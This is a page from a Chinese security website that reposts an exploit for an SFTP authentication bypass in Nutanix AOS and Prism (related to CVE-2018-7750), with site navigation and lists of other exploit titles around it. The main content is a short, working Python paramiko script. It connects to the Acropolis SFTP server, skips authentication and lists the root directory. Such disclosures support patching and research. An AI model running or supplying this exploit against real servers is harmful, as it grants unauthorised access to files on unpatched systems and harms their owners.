首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Nutanix AOS & Prism < 5.5.5 (LTS) / < 5.8.1 (STS) - SFTP Authentication Bypass
来源:vfocus.net 作者:Brown 发布时间:2018-11-01  
# Exploit Title: Nutanix AOS & Prism - SFTP Authentication Bypass
# Date: 2018-10-27
# Exploit Author: Adam Brown
# Vendor Homepage: https://www.nutanix.org
# Software Link: https://www.nutanix.com/products/software-options/
# Version: < 5.5.5 (LTS), < 5.8.1 (STS)
# Tested on: Acropolis Operating System
# CVE : Related to CVE-2018-7750
#
# This PoC is based on discussions found at the following blog post:
#   https://coffeegist.com/security/paramiko-ssh-authentication-bypass-in-nutanix/
# TLDR, the Acropolis SFTP server doesn't check if the client has completed the
# authentication step before allowing the client to open channels. The PoC below
# connects to the acropolis SFTP server, and lists the root directory without
# authenticating.
 
#!/usr/bin/python
import paramiko
 
host = '127.0.0.1'
port = 2222
 
trans = paramiko.Transport((host, port))
trans.start_client()
 
# If the call below is skipped, no username or password is required.
# trans.auth_password('username', 'password')
 
sftp = paramiko.SFTPClient.from_transport(trans)
print(sftp.listdir('/'))
sftp.close()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ZyXEL VMG3312-B10B < 1.00(AAPP
·QNAP NetBak Replicator 4.5.6.0
·Any Sound Recorder 2.93 - Buff
·SIPp 3.3.990 - Local Buffer Ov
·xorg-x11-server 1.20.3 - Privi
·Loadbalancer.org Enterprise VA
·R 3.4.4 (Windows 10 x64) - Buf
·SmartFTP Client 9.0.2615.0 - D
·Microsoft Windows 10 User Sess
·Artha The Open Thesaurus 1.0.3
·Modbus Slave 7.0.0 - Denial of
·WebDrive 18.00.5057 - Denial o
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved